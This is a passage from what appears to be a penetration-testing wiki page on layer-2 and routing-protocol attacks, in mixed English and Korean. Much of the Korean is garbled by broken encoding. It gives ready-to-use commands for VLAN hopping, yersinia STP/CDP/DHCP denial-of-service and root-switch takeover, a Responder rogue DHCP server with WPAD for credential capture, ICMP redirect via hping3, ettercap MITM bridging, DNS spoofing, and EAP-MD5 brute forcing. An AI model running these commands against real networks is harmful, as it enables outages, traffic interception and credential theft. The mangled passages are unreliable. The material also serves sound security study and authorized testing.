If you have access to a switch that you are directly connected to, you have the ability to bypass VLAN segmentation within the network. Simply switch the port to trunk mode (otherwise known as trunk), create virtual interfaces with the IDs of the target VLANs, and configure an IP address. You can try requesting the address dynamically (DHCP) or you can configure it statically. It depends on the case.
Lateral VLAN Segmentation Bypass
Layer 3 Private VLAN Bypass
In certain environments, such as guest wireless networks, port isolation (also known as private VLAN) settings are implemented to prevent clients connected to a wireless access point from directly communicating with each other. However, a technique has been identified that can circumvent these isolation measures. This technique exploits either the lack of network ACLs or their improper configuration, enabling IP packets to be routed through a router to reach another client on the same network.
The attack is executed by creating a packet that carries the IP address of the destination client but with the routerโs MAC address. This causes the router to mistakenly forward the packet to the target client. This approach is similar to that used in Double Tagging Attacks, where the ability to control a host accessible to the victim is used to exploit the security flaw.
Key Steps of the Attack:
- Crafting a Packet: A packet is specially crafted to include the target clientโs IP address but with the routerโs MAC address.
- Exploiting Router Behavior: The crafted packet is sent up to the router, which, due to the configuration, redirects the packet to the target client, bypassing the isolation provided by private VLAN settings.
VTP Attacks
VTP (VLAN Trunking Protocol) centralizes VLAN management. It utilizes revision numbers to maintain VLAN database integrity; any modification increments this number. Switches adopt configurations with higher revision numbers, updating their own VLAN databases.
VTP Domain Roles
- VTP Server: Manages VLANsโcreates, deletes, modifies. It broadcasts VTP announcements to domain members.
- VTP Client: Receives VTP announcements to synchronize its VLAN database. This role is restricted from local VLAN configuration modifications.
- VTP Transparent: Doesnโt engage in VTP updates but forwards VTP announcements. Unaffected by VTP attacks, it maintains a constant revision number of zero.
VTP Advertisement Types
- Summary Advertisement: Broadcasted by the VTP server every 300 seconds, carrying essential domain information.
- Subset Advertisement: Sent following VLAN configuration changes.
- Advertisement Request: Issued by a VTP client to request a Summary Advertisement, typically in response to detecting a higher configuration revision number.
VTP vulnerabilities are exploitable exclusively via trunk ports as VTP announcements circulate solely through them. Post-DTP attack scenarios might pivot towards VTP. Tools like Yersinia can facilitate VTP attacks, aiming to wipe out the VLAN database, effectively disrupting the network.
Note: This discussion pertains to VTP version 1 (VTPv1).
yersinia -G # Launch Yersinia in graphical mode
In Yersinia์ ๊ทธ๋ํฝ ๋ชจ๋์์ deleting all VTP vlans ์ต์ ์ ์ ํํ์ฌ VLAN database๋ฅผ ์ ๋ฆฌํ์ธ์.
STP Attacks
์ธํฐํ์ด์ค์์ BPDU frames๋ฅผ ์บก์ฒํ ์ ์๋ค๋ฉด STP attack์ ์ฑ๊ณตํ ๊ฐ๋ฅ์ฑ์ ๋ฎ์ต๋๋ค.
STP BPDU DoS
๋ง์ BPDUs TCP (Topology Change Notification) ๋๋ Conf (ํ ํด๋ก์ง๊ฐ ์์ฑ๋ ๋ ์ ์ก๋๋ BPDUs)๋ฅผ ์ ์กํ๋ฉด ์ค์์น๋ค์ด ๊ณผ๋ถํ๋์ด ์ฌ๋ฐ๋ฅด๊ฒ ์๋ํ์ง ์๊ฒ ๋ฉ๋๋ค.
yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing
STP TCP Attack
TCP๊ฐ ์ ์ก๋๋ฉด, switches์ CAM table์ 15s ํ์ ์ญ์ ๋ฉ๋๋ค. ๊ทธ๋ฆฌ๊ณ ์ด๋ฌํ ์ข ๋ฅ์ packets๋ฅผ ๊ณ์ํด์ ์ ์กํ๋ฉด CAM table์ด ์ง์์ ์ผ๋ก(๋๋ ๋งค 15segs๋ง๋ค) ์ฌ์์๋๋ฉฐ, ์ฌ์์๋ ๋ switch๋ hub์ฒ๋ผ ๋์ํฉ๋๋ค.
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
STP Root Attack
๊ณต๊ฒฉ์๋ ๋คํธ์ํฌ์ STP root๊ฐ ๋๊ธฐ ์ํด switch์ ๋์์ ์๋ฎฌ๋ ์ดํธํฉ๋๋ค. ๊ทธ๋ฌ๋ฉด ๋ ๋ง์ ๋ฐ์ดํฐ๊ฐ ๊ณต๊ฒฉ์๋ฅผ ํตํด ํ๋ฆ
๋๋ค. ์ด๋ ์๋ก ๋ค๋ฅธ ๋ switch์ ์ฐ๊ฒฐ๋์ด ์์ ๋ ์ ์ฉํฉ๋๋ค.
์ด๊ฒ์ BPDUs CONF packets๋ฅผ ์ ์กํ์ฌ priority ๊ฐ์ด ์ค์ root switch์ ์ค์ priority๋ณด๋ค ๋ฎ๋ค๊ณ ์๋ฆฌ๋ ๋ฐฉ์์ผ๋ก ์ํ๋ฉ๋๋ค.
yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
๊ณต๊ฒฉ์๊ฐ 2๊ฐ์ ์ค์์น์ ์ฐ๊ฒฐ๋์ด ์์ผ๋ฉด ๊ทธ๋ ์๋ก์ด ํธ๋ฆฌ์ ๋ฃจํธ๊ฐ ๋ ์ ์๊ณ ๊ทธ ์ค์์น๋ค ๊ฐ์ ๋ชจ๋ ํธ๋ํฝ์ด ๊ทธ๋ฅผ ํตํด ์ ๋ฌ๋ฉ๋๋ค (a MITM attack will be performed).
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
CDP ๊ณต๊ฒฉ
CISCO Discovery Protocol (CDP)์ CISCO ์ฅ์น ๊ฐ ํต์ ์ ํ์์ ์ด๋ฉฐ, ์ฅ์น๋ค์ด ์๋ก๋ฅผ ์๋ณํ๊ณ ๊ตฌ์ฑ ์ ๋ณด๋ฅผ ๊ณต์ ํ ์ ์๋๋ก ํ๋ค.
์๋ ๋ฐ์ดํฐ ์์ง
CDP๋ ๋ชจ๋ ํฌํธ๋ฅผ ํตํด ์ ๋ณด๋ฅผ ๋ธ๋ก๋์บ์คํธํ๋๋ก ๊ตฌ์ฑ๋์ด ์์ด ๋ณด์ ์ํ์ ์ด๋ํ ์ ์๋ค. ๊ณต๊ฒฉ์๊ฐ ์ค์์น ํฌํธ์ ์ฐ๊ฒฐํ๋ฉด Wireshark, tcpdump, ๋๋ Yersinia์ ๊ฐ์ ๋คํธ์ํฌ ์ค๋ํผ๋ฅผ ์คํํ ์ ์๋ค. ์ด๋ก ์ธํด ๊ธฐ๊ธฐ์ ๋ชจ๋ธ๊ณผ ์คํ ์ค์ธ Cisco IOS ๋ฒ์ ๋ฑ ๋คํธ์ํฌ ์ฅ์น์ ๋ํ ๋ฏผ๊ฐํ ์ ๋ณด๊ฐ ๋๋ฌ๋ ์ ์๋ค. ๊ณต๊ฒฉ์๋ ์๋ณ๋ Cisco IOS ๋ฒ์ ์ ์กด์ฌํ๋ ํน์ ์ทจ์ฝ์ ์ ๋ ธ๋ฆด ์ ์๋ค.
CDP ํ ์ด๋ธ ํ๋ฌ๋ฉ ์ ๋
๋ณด๋ค ๊ณต๊ฒฉ์ ์ธ ๋ฐฉ๋ฒ์ ์ ๋นํ CISCO ์ฅ์น์ธ ๊ฒ์ฒ๋ผ ๊ฐ์ฅํ์ฌ ์ค์์น์ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ๊ณผ๋ถํ์์ผ Denial of Service (DoS) ๊ณต๊ฒฉ์ ๊ฐ์ํ๋ ๊ฒ์ด๋ค. ์๋๋ ํ ์คํธ์ฉ ๋คํธ์ํฌ ๋๊ตฌ์ธ Yersinia๋ฅผ ์ฌ์ฉํด ์ด๋ฌํ ๊ณต๊ฒฉ์ ์์ํ๋ ๋ช ๋ น ์ํ์ค์ด๋ค:
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G
์ด ๊ณต๊ฒฉ ๋์ ์ค์์น์ CPU์ CDP neighbor table์ ํฐ ๋ถ๋ด์ด ๊ฑธ๋ ค, ๊ณผ๋ํ ์์ ์๋ชจ๋ก ์ธํด ํํ **โ๋คํธ์ํฌ ๋ง๋นโ**๋ผ๊ณ ๋ถ๋ฆฌ๋ ์ํ๋ฅผ ์ด๋ํฉ๋๋ค.
CDP Impersonation Attack
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet
You could also use scapy. Be sure to install it with scapy/contrib package.
VoIP ๊ณต๊ฒฉ ๋ฐ VoIP Hopper ๋๊ตฌ
VoIP ์ ํ๊ธฐ๋ IoT ์ฅ์น์ ์ ์ ๋ ํตํฉ๋์ด ํน์ ์ ํ๋ฒํธ๋ฅผ ํตํด ๋ฌธ์ ์ด๊ฑฐ๋ ์จ๋ ์กฐ์ ๊ธฐ๋ฅผ ์ ์ดํ๋ ๋ฑ์ ๊ธฐ๋ฅ์ ์ ๊ณตํฉ๋๋ค. ํ์ง๋ง ์ด๋ฐ ํตํฉ์ ๋ณด์ ์ํ์ ์ด๋ํ ์ ์์ต๋๋ค.
The tool voiphopper is designed to emulate a VoIP phone in various environments (Cisco, Avaya, Nortel, Alcatel-Lucent). It discovers the voice networkโs VLAN ID using protocols like CDP, DHCP, LLDP-MED, and 802.1Q ARP.
VoIP Hopper offers three modes for the Cisco Discovery Protocol (CDP):
- Sniff Mode (
-c 0): VLAN ID๋ฅผ ์๋ณํ๊ธฐ ์ํด ๋คํธ์ํฌ ํจํท์ ๋ถ์ํฉ๋๋ค. - Spoof Mode (
-c 1): ์ค์ VoIP ์ฅ์น์ ํจํท์ ๋ชจ๋ฐฉํ๋ ๋ง์ถค ํจํท์ ์์ฑํฉ๋๋ค. - Spoof with Pre-made Packet Mode (
-c 2): ํน์ Cisco IP ์ ํ ๋ชจ๋ธ๊ณผ ๋์ผํ ํจํท์ ์ ์กํฉ๋๋ค.
์๋๋ฅผ ์ํด ๊ถ์ฅ๋๋ ๋ชจ๋๋ ์ธ ๋ฒ์งธ ๋ชจ๋์ ๋๋ค. ์ด ๋ชจ๋๋ ๋ค์์ ์ง์ ํด์ผ ํฉ๋๋ค:
- ๊ณต๊ฒฉ์์ ๋คํธ์ํฌ ์ธํฐํ์ด์ค (
-i๋งค๊ฐ๋ณ์). - ์๋ฎฌ๋ ์ด์
ํ VoIP ์ฅ์น์ ์ด๋ฆ (
-E๋งค๊ฐ๋ณ์), Cisco ๋ช ๋ช ๊ท์น(์: SEP ๋ค์์ MAC ์ฃผ์)์ ๋ฐ๋ฆ ๋๋ค.
๊ธฐ์ ํ๊ฒฝ์์ ๊ธฐ์กด VoIP ์ฅ์น๋ฅผ ๋ชจ๋ฐฉํ๋ ค๋ฉด ๋ค์์ ์ํํ ์ ์์ต๋๋ค:
- ์ ํ๊ธฐ์ MAC ๋ผ๋ฒจ์ ํ์ธํฉ๋๋ค.
- ์ ํ๊ธฐ ๋์คํ๋ ์ด ์ค์ ์ผ๋ก ์ด๋ํด ๋ชจ๋ธ ์ ๋ณด๋ฅผ ํ์ธํฉ๋๋ค.
- VoIP ์ฅ์น๋ฅผ ๋ ธํธ๋ถ์ ์ฐ๊ฒฐํ๊ณ Wireshark๋ก CDP ์์ฒญ์ ๊ด์ฐฐํฉ๋๋ค.
์ธ ๋ฒ์งธ ๋ชจ๋๋ก ๋๊ตฌ๋ฅผ ์คํํ๋ ์์ ๋ช ๋ น์ด๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
DHCP ๊ณต๊ฒฉ
Enumeration
nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
| Response 1 of 1:
| IP Offered: 192.168.1.250
| DHCP Message Type: DHCPOFFER
| Server Identifier: 192.168.1.1
| IP Address Lease Time: 1m00s
| Subnet Mask: 255.255.255.0
| Router: 192.168.1.1
| Domain Name Server: 192.168.1.1
|_ Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
DoS
Two types of DoS๋ DHCP ์๋ฒ์ ๋ํด ์ํ๋ ์ ์๋ค. ์ฒซ ๋ฒ์งธ๋ simulate enough fake hosts to use all the possible IP addresses๋ก ๊ตฌ์ฑ๋๋ค.
์ด ๊ณต๊ฒฉ์ DHCP ์๋ฒ์ ์๋ต์ ๋ณผ ์ ์๊ณ ํ๋กํ ์ฝ์ ์๋ฃํ ์ ์์ ๋๋ง ์๋ํ๋ค (Discover (Comp) โ> Offer (server) โ> Request (Comp) โ> ACK (server)). ์๋ฅผ ๋ค์ด, ์ด๋ not possible in Wifi networks.
DHCP DoS๋ฅผ ์ํํ๋ ๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ DHCP-RELEASE packet using as source code every possible IP๋ฅผ ์ ์กํ๋ ๊ฒ์ด๋ค. ๊ทธ๋ฌ๋ฉด ์๋ฒ๋ ๋ชจ๋๊ฐ IP ์ฌ์ฉ์ ์ข ๋ฃํ๋ค๊ณ ์๊ฐํ ๊ฒ์ด๋ค.
yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed
A more automatic way of doing this is using the tool DHCPing
You could use the mentioned DoS attacks to force clients to obtain new leases within the environment, and exhaust legitimate servers so that they become unresponsive. So when the legitimate try to reconnect, you can server malicious values mentioned in the next attack.
์ ์ฑ ๊ฐ ์ค์
์
์ฑ DHCP ์๋ฒ๋ /usr/share/responder/DHCP.py์ ์๋ DHCP ์คํฌ๋ฆฝํธ๋ฅผ ์ฌ์ฉํด ์ค์ ํ ์ ์์ต๋๋ค. ์ด๋ ํธ๋ํฝ์ ์
์ฑ ์๋ฒ๋ก ๋ฆฌ๋๋ ํธํ์ฌ HTTP ํธ๋ํฝ๊ณผ ์๊ฒฉ์ฆ๋ช
๋ฑ์ ์บก์ฒํ๋ ๋คํธ์ํฌ ๊ณต๊ฒฉ์ ์ ์ฉํฉ๋๋ค. ๋ค๋ง rogue gateway๋ฅผ ์ค์ ํ๋ ๊ฒ์ ํจ๊ณผ๊ฐ ๋จ์ด์ง๋๋ฐ, ํด๋ผ์ด์ธํธ์ ์์๋ฐ์ด๋ ํธ๋ํฝ๋ง ์บก์ฒํ์ฌ ์ค์ gateway์ ์๋ต์ ๋์น๊ธฐ ๋๋ฌธ์
๋๋ค. ๋ณด๋ค ํจ๊ณผ์ ์ธ ๊ณต๊ฒฉ์ ์ํด์๋ rogue DNS ๋๋ WPAD ์๋ฒ ์ค์ ์ด ๊ถ์ฅ๋ฉ๋๋ค.
Below are the command options for configuring the rogue DHCP server:
- Our IP Address (Gateway Advertisement): Use
-i 10.0.0.100to advertise your machineโs IP as the gateway. - Local DNS Domain Name: Optionally, use
-d example.orgto set a local DNS domain name. - Original Router/Gateway IP: Use
-r 10.0.0.1to specify the IP address of the legitimate router or gateway. - Primary DNS Server IP: Use
-p 10.0.0.100to set the IP address of the rogue DNS server you control. - Secondary DNS Server IP: Optionally, use
-s 10.0.0.1to set a secondary DNS server IP. - Netmask of Local Network: Use
-n 255.255.255.0to define the netmask for the local network. - Interface for DHCP Traffic: Use
-I eth1to listen for DHCP traffic on a specific network interface. - WPAD Configuration Address: Use
-w โhttp://10.0.0.100/wpad.datโto set the address for WPAD configuration, assisting in web traffic interception. - Spoof Default Gateway IP: Include
-Sto spoof the default gateway IP address. - Respond to All DHCP Requests: Include
-Rto make the server respond to all DHCP requests, but be aware that this is noisy and can be detected.
์ด ์ต์ ๋ค์ ์ ์ ํ ์ฌ์ฉํ๋ฉด ๋คํธ์ํฌ ํธ๋ํฝ์ ํจ๊ณผ์ ์ผ๋ก ๊ฐ๋ก์ฑ๊ธฐ ์ํด rogue DHCP ์๋ฒ๋ฅผ ๊ตฌ์ถํ ์ ์์ต๋๋ค.
# Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R
EAP Attacks
๋ค์์ 802.1X ๊ตฌํ์ ๋ํด ์ฌ์ฉํ ์ ์๋ ๋ช ๊ฐ์ง ๊ณต๊ฒฉ ์ ์ ์ ๋๋ค:
- Active brute-force password grinding via EAP
- ์๋ชป๋ ํ์์ EAP ์ฝํ ์ธ ๋ก RADIUS ์๋ฒ๋ฅผ ๊ณต๊ฒฉ **(exploits)
- EAP ๋ฉ์์ง ์บก์ฒ ๋ฐ ์คํ๋ผ์ธ ๋น๋ฐ๋ฒํธ ํฌ๋ํน (EAP-MD5 ๋ฐ PEAP)
- EAP-MD5 ์ธ์ฆ์ ๊ฐ์ ๋ก ์ฌ์ฉํด TLS ์ธ์ฆ์ ๊ฒ์ฆ์ ์ฐํ
- hub ๋๋ ์ ์ฌ ์ฅ์น๋ฅผ ์ฌ์ฉํด ์ธ์ฆํ ๋ ์ ์ฑ ๋คํธ์ํฌ ํธ๋ํฝ์ ์ฃผ์
๊ณต๊ฒฉ์๊ฐ ํผํด์์ ์ธ์ฆ ์๋ฒ ์ฌ์ด์ ์์นํด ์๋ค๋ฉด, ํ์์ ๋ฐ๋ผ ์ธ์ฆ ํ๋กํ ์ฝ์ EAP-MD5๋ก ๊ฐ์ ๋ก ์ฝํ์์ผ ์ธ์ฆ ์๋๋ฅผ ์บก์ฒํ ์ ์์ต๋๋ค. ๊ทธ๋ฐ ๋ค์, ๋ค์์ ์ฌ์ฉํด ์ด๋ฅผ brute-forceํ ์ ์์ต๋๋ค:
eapmd5pass โr pcap.dump โw /usr/share/wordlist/sqlmap.txt
FHRP (GLBP & HSRP) ๊ณต๊ฒฉ
FHRP (First Hop Redundancy Protocol)์ ํซ ์ค๋ณต ๋ผ์ฐํ ์์คํ ์ ์์ฑํ๋๋ก ์ค๊ณ๋ ๋คํธ์ํฌ ํ๋กํ ์ฝ ๊ณ์ด์ ๋๋ค. FHRP๋ฅผ ์ฌ์ฉํ๋ฉด ๋ฌผ๋ฆฌ์ ๋ผ์ฐํฐ๋ฅผ ๋จ์ผ ๋ ผ๋ฆฌ ์ฅ์น๋ก ๊ฒฐํฉํ ์ ์์ด ์ฅ์ ํ์ฉ์ฑ์ด ํฅ์๋๊ณ ๋ถํ ๋ถ์ฐ์ ๋์์ด ๋ฉ๋๋ค.
Cisco Systems ์์ง๋์ด๋ค์ GLBP์ HSRP๋ผ๋ ๋ ๊ฐ์ง FHRP ํ๋กํ ์ฝ์ ๊ฐ๋ฐํ์ต๋๋ค.
RIP
Routing Information Protocol (RIP)์๋ RIP, RIPv2, RIPng์ ์ธ ๊ฐ์ง ๋ฒ์ ์ด ์กด์ฌํฉ๋๋ค. RIP์ RIPv2๋ UDP ํฌํธ 520์ ํตํด ํผ์ด์๊ฒ ๋ฐ์ดํฐ๊ทธ๋จ์ ์ ์กํ๊ณ , RIPng๋ IPv6 ๋ฉํฐ์บ์คํธ๋ฅผ ํตํด UDP ํฌํธ 521๋ก ๋ฐ์ดํฐ๊ทธ๋จ์ ๋ธ๋ก๋์บ์คํธํฉ๋๋ค. RIPv2๋ MD5 ์ธ์ฆ์ ์ง์ํ๋๋ก ๋์ ๋์์ผ๋ฉฐ, ๋ฐ๋ฉด RIPng๋ ๋ค์ดํฐ๋ธ ์ธ์ฆ์ ํฌํจํ์ง ์๊ณ ๋์ IPv6์์ ์ ํ์ IPsec AH ๋ฐ ESP ํค๋์ ์์กดํฉ๋๋ค.
- RIP and RIPv2: ํต์ ์ ํฌํธ 520์ UDP ๋ฐ์ดํฐ๊ทธ๋จ์ ํตํด ์ด๋ฃจ์ด์ง๋๋ค.
- RIPng: IPv6 ๋ฉํฐ์บ์คํธ๋ฅผ ํตํด UDP ํฌํธ 521๋ก ๋ฐ์ดํฐ๊ทธ๋จ์ ๋ธ๋ก๋์บ์คํธํฉ๋๋ค.
RIPv2๊ฐ MD5 ์ธ์ฆ์ ์ง์ํ๋ ๋ฐ๋ฉด RIPng๋ ๋ค์ดํฐ๋ธ ์ธ์ฆ์ ํฌํจํ์ง ์๊ณ IPv6์ IPsec AH ๋ฐ ESP ํค๋์ ์์กดํ๋ค๋ ์ ์ ์ ์ํ์ธ์.
EIGRP ๊ณต๊ฒฉ
**EIGRP (Enhanced Interior Gateway Routing Protocol)**๋ ๋์ ๋ผ์ฐํ ํ๋กํ ์ฝ์ ๋๋ค. ๊ฑฐ๋ฆฌ ๋ฒกํฐ ํ๋กํ ์ฝ์ ๋๋ค. ์ธ์ฆ๊ณผ ์๋ ์ธํฐํ์ด์ค ์ค์ ์ด ์์ผ๋ฉด ๊ณต๊ฒฉ์๊ฐ EIGRP ๋ผ์ฐํ ์ ๊ต๋ํ์ฌ **๋ผ์ฐํ ํ ์ด๋ธ ์ค์ผ(routing table poisoning)**์ ์ผ์ผํฌ ์ ์์ต๋๋ค. ๋ํ EIGRP ๋คํธ์ํฌ(์ฆ, autonomous system)๋ ํ๋ฉด ๊ตฌ์กฐ๋ก ๊ตฌ๋ถ ์์ญ์ด ์์ต๋๋ค. ๊ณต๊ฒฉ์๊ฐ **๊ฒฝ๋ก๋ฅผ ์ฃผ์ (inject)**ํ๋ฉด ์ด ๊ฒฝ๋ก๋ EIGRP ์์จ ์์คํ ์ ์ฒด์ ์ ํ๋ ๊ฐ๋ฅ์ฑ์ด ๋์ต๋๋ค.
EIGRP ์์คํ ์ ๊ณต๊ฒฉํ๋ ค๋ฉด ์ ์์ ์ธ EIGRP ๋ผ์ฐํฐ์ ์ด์(neighbourhood) ๊ด๊ณ๋ฅผ ์๋ฆฝํด์ผ ํ๋ฉฐ, ์ด๋ ๊ธฐ๋ณธ์ ์ธ ์ ์ฐฐ๋ถํฐ ๋ค์ํ ์ฃผ์ ๊ณต๊ฒฉ์ ์ด๋ฅด๊ธฐ๊น์ง ๋ง์ ๊ฐ๋ฅ์ฑ์ ์ด์ด์ค๋๋ค.
FRRouting์ ์ฌ์ฉํ๋ฉด BGP, OSPF, EIGRP, RIP ๋ฑ ์ฌ๋ฌ ํ๋กํ ์ฝ์ ์ง์ํ๋ ๊ฐ์ ๋ผ์ฐํฐ๋ฅผ ๊ตฌํํ ์ ์์ต๋๋ค. ๊ณต๊ฒฉ์ ์์คํ ์ ์ด๋ฅผ ๋ฐฐํฌํ๊ธฐ๋ง ํ๋ฉด ๋ผ์ฐํ ๋๋ฉ์ธ์์ ํฉ๋ฒ์ ์ธ ๋ผ์ฐํฐ์ธ ์ฒํ ์ ์์ต๋๋ค.
Coly๋ EIGRP ๋ธ๋ก๋์บ์คํธ๋ฅผ ๊ฐ๋ก์ฑ๋ ๊ธฐ๋ฅ์ ์ ๊ณตํฉ๋๋ค. ๋ํ ํจํท ์ฃผ์ ์ ํ์ฉํ์ฌ ๋ผ์ฐํ ๊ตฌ์ฑ์ ๋ณ๊ฒฝํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ต๋๋ค.
OSPF
Open Shortest Path First (OSPF) ํ๋กํ ์ฝ์์๋ ๋ผ์ฐํฐ ๊ฐ ๋ณด์ ํต์ ์ ์ํด MD5 ์ธ์ฆ์ด ์ผ๋ฐ์ ์ผ๋ก ์ฌ์ฉ๋ฉ๋๋ค. ๊ทธ๋ฌ๋ Loki๋ John the Ripper ๊ฐ์ ๋๊ตฌ๋ฅผ ์ฌ์ฉํ๋ฉด ์ด ๋ณด์ ์๋จ์ ๋ฌด๋ ฅํํ ์ ์์ต๋๋ค. ์ด๋ฌํ ๋๊ตฌ๋ MD5 ํด์๋ฅผ ์บก์ฒํ๊ณ ํฌ๋ํ ์ ์์ด ์ธ์ฆ ํค๋ฅผ ๋ ธ์ถ์ํต๋๋ค. ์ผ๋จ ์ด ํค๋ฅผ ์ป์ผ๋ฉด ์๋ก์ด ๋ผ์ฐํ ์ ๋ณด๋ฅผ ์ฃผ์ ํ ์ ์์ต๋๋ค. ๊ฒฝ๋ก ๋งค๊ฐ๋ณ์๋ฅผ ๊ตฌ์ฑํ๊ณ ํ์ทจ๋ ํค๋ฅผ ์ค์ ํ๋ ค๋ฉด ๊ฐ๊ฐ Injection ๋ฐ Connection ํญ์ ์ฌ์ฉํฉ๋๋ค.
- MD5 ํด์ ์บก์ฒ ๋ฐ ํฌ๋ํน: Loki, John the Ripper ๋ฑ์ ๋๊ตฌ๋ฅผ ์ฌ์ฉํฉ๋๋ค.
- ๊ฒฝ๋ก ๋งค๊ฐ๋ณ์ ๊ตฌ์ฑ: Injection ํญ์ ํตํด ์ํ๋ฉ๋๋ค.
- ํ์ทจ๋ ํค ์ค์ : Connection ํญ์์ ํค๋ฅผ ์ค์ ํฉ๋๋ค.
Other Generic Tools & Sources
- Above: ๋คํธ์ํฌ ํธ๋ํฝ์ ์ค์บํ๊ณ ์ทจ์ฝ์ ์ ์ฐพ๋ ๋๊ตฌ
- ๋คํธ์ํฌ ๊ณต๊ฒฉ์ ๋ํ ์ถ๊ฐ ์ ๋ณด๋ ์ฌ๊ธฐ์์ ํ์ธํ ์ ์์ต๋๋ค.
Spoofing
๊ณต๊ฒฉ์๋ ๊ฐ์ง DHCP ์๋ต์ ๋ณด๋ด ๋คํธ์ํฌ์ ์ ๊ท ๊ตฌ์ฑ์์ ๋ชจ๋ ๋คํธ์ํฌ ๋งค๊ฐ๋ณ์(GW, IP, DNS)๋ฅผ ์ค์ ํฉ๋๋ค.
Ettercap
yersinia dhcp -attack 2 #More parameters are needed
ARP Spoofing
Check the previous section.
ICMPRedirect
ICMP Redirect๋ ๊ณต๊ฒฉ์๊ฐ ํน์ IP์ ๋๋ฌํ๋ ์ต์ ๊ฒฝ๋ก์์ ์๋ฆฌ๋ ICMP ํจํท(type 1, code 5)์ ์ ์กํ๋ ๊ฒ์ ๋๋ค. ๊ทธ ํ ํผํด์๊ฐ ํด๋น IP์ ์ ์ํ๋ ค ํ ๋ ํจํท์ ๊ณต๊ฒฉ์๋ฅผ ํตํด ์ ์กํ๊ฒ ๋ฉ๋๋ค.
Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]
DNS Spoofing
attacker๋ victim์ด ์์ฒญํ ์ผ๋ถ(๋๋ ๋ชจ๋ ) domains๋ฅผ resolveํฉ๋๋ค.
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
dnsmasq๋ก ์์ฒด DNS ๊ตฌ์ฑ
apt-get install dnsmasq
echo "addn-hosts=dnsmasq.hosts" > dnsmasq.conf
echo "127.0.0.1 domain.example.com" > dnsmasq.hosts
sudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS
๋ก์ปฌ ๊ฒ์ดํธ์จ์ด
์์คํ ๊ณผ ๋คํธ์ํฌ๋ก ๊ฐ๋ ๊ฒฝ๋ก๊ฐ ์ฌ๋ฌ ๊ฐ ์กด์ฌํ๋ ๊ฒฝ์ฐ๊ฐ ๋ง๋ค. ๋ก์ปฌ ๋คํธ์ํฌ ๋ด์ MAC addresses ๋ชฉ๋ก์ ๋ง๋ ํ, _gateway-finder.py_๋ฅผ ์ฌ์ฉํด IPv4 ํฌ์๋ฉ์ ์ง์ํ๋ ํธ์คํธ๋ฅผ ์๋ณํ๋ผ.
gateway-finder ์ฌ์ฉ ์์
```bash root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git root@kali:~# cd gateway-finder/ root@kali:~# arp-scan -l | tee hosts.txt Interface: eth0, datalink type: EN10MB (Ethernet) Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/) 10.0.0.100 00:13:72:09:ad:76 Dell Inc. 10.0.0.200 00:90:27:43:c0:57 INTEL CORPORATION 10.0.0.254 00:08:74:c0:40:ce Dell Computer Corp.root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99 gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder [+] Using interface eth0 (-I to change) [+] Found 3 MAC addresses in hosts.txt [+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100] [+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
</details>
### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
DNS ์กฐํ๊ฐ ์คํจํ ๋ ๋ก์ปฌ ํธ์คํธ ํด์์ ์ํด Microsoft ์์คํ
์ **Link-Local Multicast Name Resolution (LLMNR)** ๋ฐ **NetBIOS Name Service (NBT-NS)**์ ์์กดํฉ๋๋ค. ๋ง์ฐฌ๊ฐ์ง๋ก **Apple Bonjour**์ **Linux zero-configuration** ๊ตฌํ์ ๋คํธ์ํฌ ๋ด ์์คํ
์ ๋ฐ๊ฒฌํ๊ธฐ ์ํด **Multicast DNS (mDNS)**๋ฅผ ์ฌ์ฉํฉ๋๋ค. ์ด๋ฌํ ํ๋กํ ์ฝ๋ค์ ์ธ์ฆ๋์ง ์์ ํน์ฑ๊ณผ UDP๋ฅผ ํตํ ๋ธ๋ก๋์บ์คํธ ๋ฉ์์ง ์ ์ก ๋ฐฉ์ ๋๋ฌธ์, ์ฌ์ฉ์๋ฅผ ์
์ฑ ์๋น์ค๋ก ๋ฆฌ๋๋ ์
ํ๋ ค๋ ๊ณต๊ฒฉ์์ ์ํด ์
์ฉ๋ ์ ์์ต๋๋ค.
